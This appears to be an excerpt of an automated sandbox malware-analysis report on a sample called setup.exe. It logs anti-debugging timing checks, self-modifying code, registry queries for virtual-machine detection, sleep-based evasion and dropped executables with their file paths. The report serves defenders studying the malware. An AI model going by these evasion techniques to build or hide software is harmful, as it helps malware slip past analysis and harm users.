Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C90C6F second address: 4C90C7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C90C7E second address: 4C90C8F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE8CE13DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C90C8F second address: 4C90D03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE9067F71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FDDE9067F73h 0x00000013 adc ax, B97Eh 0x00000018 jmp 00007FDDE9067F79h 0x0000001d popfd 0x0000001e pushfd 0x0000001f jmp 00007FDDE9067F70h 0x00000024 jmp 00007FDDE9067F75h 0x00000029 popfd 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C90D03 second address: 4C90D09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C90D09 second address: 4C90D0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C90D0D second address: 4C90D4F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE8CE13E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e mov di, si 0x00000011 push eax 0x00000012 push edx 0x00000013 pushfd 0x00000014 jmp 00007FDDE8CE13DEh 0x00000019 sub esi, 5410A938h 0x0000001f jmp 00007FDDE8CE13DBh 0x00000024 popfd 0x00000025 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C90D4F second address: 4C90DA8 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FDDE9067F78h 0x00000008 or eax, 5DD92398h 0x0000000e jmp 00007FDDE9067F6Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 pop ebp 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushfd 0x0000001c jmp 00007FDDE9067F72h 0x00000021 and ecx, 12AE4DF8h 0x00000027 jmp 00007FDDE9067F6Bh 0x0000002c popfd 0x0000002d rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4C90DA8 second address: 4C90DAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4D10747 second address: 4D1074D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4D1074D second address: 4D1075E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDE8CE13DDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4D1075E second address: 4D10762 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4D10762 second address: 4D107CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 jmp 00007FDDE8CE13DAh 0x0000000e mov dword ptr [esp], ebp 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FDDE8CE13DEh 0x00000018 adc si, E8F8h 0x0000001d jmp 00007FDDE8CE13DBh 0x00000022 popfd 0x00000023 pushad 0x00000024 jmp 00007FDDE8CE13E6h 0x00000029 mov eax, 59F3ACB1h 0x0000002e popad 0x0000002f popad 0x00000030 mov ebp, esp 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007FDDE8CE13E3h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4D107CE second address: 4D107DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov si, bx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4D008CB second address: 4D008DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov cx, dx 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4D008DF second address: 4D00904 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, CAE7h 0x00000007 jmp 00007FDDE9067F6Ch 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FDDE9067F6Ah 0x00000019 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4D00904 second address: 4D0090A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4D0090A second address: 4D00910 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4D00910 second address: 4D00914 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4D00914 second address: 4D00918 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4D00918 second address: 4D00950 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007FDDE8CE13E4h 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FDDE8CE13E7h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4D00950 second address: 4D00956 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4D00956 second address: 4D0095A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4D00837 second address: 4D00852 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edx 0x00000005 mov edi, 1338239Eh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FDDE9067F6Bh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CA024C second address: 4CA02D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDDE8CE13E7h 0x00000009 xor ah, FFFFFF8Eh 0x0000000c jmp 00007FDDE8CE13E9h 0x00000011 popfd 0x00000012 mov bx, ax 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 xchg eax, ebp 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007FDDE8CE13E8h 0x00000020 sub eax, 66B4F538h 0x00000026 jmp 00007FDDE8CE13DBh 0x0000002b popfd 0x0000002c mov edx, eax 0x0000002e popad 0x0000002f mov ebp, esp 0x00000031 jmp 00007FDDE8CE13E2h 0x00000036 pop ebp 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CA02D4 second address: 4CA02DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dh, FFh 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4D00C25 second address: 4D00C60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, al 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007FDDE8CE13E7h 0x0000000f push dword ptr [ebp+0Ch] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FDDE8CE13E5h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4D00C60 second address: 4D00C87 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE9067F71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FDDE9067F6Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4D00C87 second address: 4D00CE7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE8CE13E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007FDDE8CE13D9h 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FDDE8CE13DCh 0x00000015 jmp 00007FDDE8CE13E5h 0x0000001a popfd 0x0000001b jmp 00007FDDE8CE13E0h 0x00000020 popad 0x00000021 push eax 0x00000022 pushad 0x00000023 mov edi, 056F6054h 0x00000028 push eax 0x00000029 push edx 0x0000002a mov di, 5A3Eh 0x0000002e rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4D00CE7 second address: 4D00D0C instructions: 0x00000000 rdtsc 0x00000002 mov si, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FDDE9067F77h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4D00D0C second address: 4D00DA7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE8CE13E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FDDE8CE13E7h 0x00000012 add cx, 19AEh 0x00000017 jmp 00007FDDE8CE13E9h 0x0000001c popfd 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 mov esi, 7104BED3h 0x00000025 popad 0x00000026 popad 0x00000027 mov dword ptr [esp+04h], eax 0x0000002b pushad 0x0000002c jmp 00007FDDE8CE13DFh 0x00000031 popad 0x00000032 pop eax 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 pushad 0x00000037 popad 0x00000038 pushfd 0x00000039 jmp 00007FDDE8CE13DCh 0x0000003e or si, ED88h 0x00000043 jmp 00007FDDE8CE13DBh 0x00000048 popfd 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4D00DA7 second address: 4D00DBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDE9067F74h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 389C5A second address: 389C5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 389C5E second address: 389C70 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 jo 00007FDDE9067F81h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 389E59 second address: 389E5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CB0484 second address: 4CB0505 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE9067F71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov esi, 459AEA83h 0x00000010 push eax 0x00000011 push edi 0x00000012 pop eax 0x00000013 pop ebx 0x00000014 popad 0x00000015 push eax 0x00000016 jmp 00007FDDE9067F71h 0x0000001b xchg eax, ebp 0x0000001c pushad 0x0000001d mov edx, esi 0x0000001f jmp 00007FDDE9067F78h 0x00000024 popad 0x00000025 mov ebp, esp 0x00000027 jmp 00007FDDE9067F70h 0x0000002c push FFFFFFFEh 0x0000002e pushad 0x0000002f jmp 00007FDDE9067F6Eh 0x00000034 mov bx, ax 0x00000037 popad 0x00000038 push 2A7FAF91h 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CB0505 second address: 4CB0509 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CB0509 second address: 4CB050D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CB050D second address: 4CB0521 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 4C791087h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 4CB0521 second address: 4CB0525 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\setup.exe	Special instruction interceptor: First address: 1DCB78 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\setup.exe	Special instruction interceptor: First address: 1DCC47 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\setup.exe	Special instruction interceptor: First address: 3A8845 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\setup.exe	Special instruction interceptor: First address: 406D96 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Special instruction interceptor: First address: 5ECB78 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Special instruction interceptor: First address: 5ECC47 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Special instruction interceptor: First address: 7B8845 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Special instruction interceptor: First address: 816D96 instructions caused by: Self-modifying code
Source: C:\Users\user\1000015002\b6042db502.exe	Special instruction interceptor: First address: E48B54 instructions caused by: Self-modifying code
Source: C:\Users\user\1000015002\b6042db502.exe	Special instruction interceptor: First address: C9E877 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Special instruction interceptor: First address: DC08F7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Special instruction interceptor: First address: DC0A08 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Special instruction interceptor: First address: 2E8B54 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Special instruction interceptor: First address: 13E877 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Special instruction interceptor: First address: F695AA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Special instruction interceptor: First address: F92BC6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Special instruction interceptor: First address: F707F6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Special instruction interceptor: First address: FF590E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Special instruction interceptor: First address: 51F9AD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Special instruction interceptor: First address: 51FA6D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Special instruction interceptor: First address: 7415F1 instructions caused by: Self-modifying code
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Special instruction interceptor: First address: A408F7 instructions caused by: Self-modifying code
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Special instruction interceptor: First address: A40A08 instructions caused by: Self-modifying code
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Special instruction interceptor: First address: BE95AA instructions caused by: Self-modifying code
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Special instruction interceptor: First address: C12BC6 instructions caused by: Self-modifying code
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Special instruction interceptor: First address: BF07F6 instructions caused by: Self-modifying code
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Special instruction interceptor: First address: C7590E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Special instruction interceptor: First address: F108F7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Special instruction interceptor: First address: F10A08 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Special instruction interceptor: First address: 10B95AA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Special instruction interceptor: First address: 10E2BC6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Special instruction interceptor: First address: 10C07F6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Special instruction interceptor: First address: 114590E instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_04D00CA5 rdtsc

0_2_04D00CA5

Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Thread delayed: delay time: 180000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Thread delayed: delay time: 180000			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window / User API: threadDelayed 1669	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window / User API: threadDelayed 840	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window / User API: threadDelayed 1024	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window / User API: threadDelayed 1568	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window / User API: threadDelayed 1517	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Window / User API: threadDelayed 1352	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Window / User API: threadDelayed 1077	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Window / User API: threadDelayed 1065	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Window / User API: threadDelayed 631	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Window / User API: threadDelayed 1163	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Window / User API: threadDelayed 1339	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Window / User API: threadDelayed 1125
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Window / User API: threadDelayed 1066
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Window / User API: threadDelayed 1089
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Window / User API: threadDelayed 1086
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Window / User API: threadDelayed 1070
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Window / User API: threadDelayed 1279
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Window / User API: threadDelayed 1091
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Window / User API: threadDelayed 1086
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Window / User API: threadDelayed 1099
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Window / User API: threadDelayed 1311
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Window / User API: threadDelayed 1053
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Window / User API: threadDelayed 1062
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Window / User API: threadDelayed 1119
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Window / User API: threadDelayed 1103
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Window / User API: threadDelayed 1089
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Window / User API: threadDelayed 665
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Window / User API: threadDelayed 728
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Window / User API: threadDelayed 659
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Window / User API: threadDelayed 4264
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Window / User API: threadDelayed 686
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Window / User API: threadDelayed 687
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Window / User API: threadDelayed 1103
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Window / User API: threadDelayed 1097
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Window / User API: threadDelayed 1116
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Window / User API: threadDelayed 1140
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Window / User API: threadDelayed 1123
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Window / User API: threadDelayed 855
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Window / User API: threadDelayed 815
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Window / User API: threadDelayed 3211

Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_27-61276

Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\sarra[1].exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe

API coverage: 5.2 %

Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 3568	Thread sleep count: 37 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 3568	Thread sleep time: -74037s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 4408	Thread sleep count: 1669 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 4408	Thread sleep time: -3339669s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 7204	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 5492	Thread sleep count: 298 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 5492	Thread sleep time: -8940000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 748	Thread sleep count: 840 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 748	Thread sleep time: -1680840s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 5496	Thread sleep count: 1024 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 5496	Thread sleep time: -2049024s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 7212	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 4408	Thread sleep count: 1568 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 4408	Thread sleep time: -3137568s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 7652	Thread sleep count: 116 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 7652	Thread sleep time: -232116s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 7656	Thread sleep count: 95 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 7656	Thread sleep time: -190095s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 7880	Thread sleep time: -56000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 7632	Thread sleep count: 123 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 7632	Thread sleep time: -246123s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 7596	Thread sleep count: 1517 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 7596	Thread sleep time: -45510000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 7920	Thread sleep time: -1980000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 7880	Thread sleep count: 39 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 7880	Thread sleep count: 43 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 7636	Thread sleep count: 95 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 7636	Thread sleep time: -190095s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 7648	Thread sleep count: 108 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 7648	Thread sleep time: -216108s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 7596	Thread sleep time: -30000s >= -30000s	Jump to behavior
